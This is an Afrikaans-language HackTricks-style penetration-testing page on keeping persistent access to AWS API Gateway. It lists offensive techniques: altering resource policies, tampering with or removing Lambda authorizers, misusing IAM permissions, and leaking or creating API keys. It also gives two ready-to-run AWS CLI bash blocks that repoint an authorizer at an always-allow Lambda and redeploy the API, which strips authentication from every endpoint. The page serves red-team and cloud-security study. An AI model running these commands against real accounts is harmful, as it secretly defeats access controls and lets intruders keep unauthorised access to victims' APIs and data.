# AWS - API Gateway Persistensie

{{#include ../../../../banners/hacktricks-training.md}}

## API Gateway

Vir meer inligting, gaan na:

{{#ref}}
../../aws-services/aws-api-gateway-enum.md
{{#endref}}

### Hulpbronbeleid

Wysig die hulpbronbeleid van die API gateway(s) om jouself toegang daartoe te verleen

### Wysig Lambda Authorizers

Wysig die kode van lambda authorizers om jouself toegang tot alle eindpunte te gee.\
Of verwyder net die gebruik van die authorizer.

As jy control-plane-permissies het om **'n authorizer te skep/op te dateer** (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`) kan jy ook **die authorizer herwys na 'n Lambda wat altyd toelaat**.

REST APIs (veranderinge vereis gewoonlik 'n deployment):
```bash
REGION="us-east-1"
REST_API_ID="<rest_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
```
HTTP APIs / `apigatewayv2` (dikwels onmiddellik van krag):
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
```
### IAM Permissions

As 'n bron 'n IAM authorizer gebruik, kan jy jouself toegang daartoe gee deur die IAM permissions te wysig.\
Of verwyder net die gebruik van die authorizer.

### API Keys

As API keys gebruik word, kan jy hulle leak om persistence te behou of selfs nuwe keys te skep.\
Of verwyder net die gebruik van API keys.

{{#include ../../../../banners/hacktricks-training.md}}
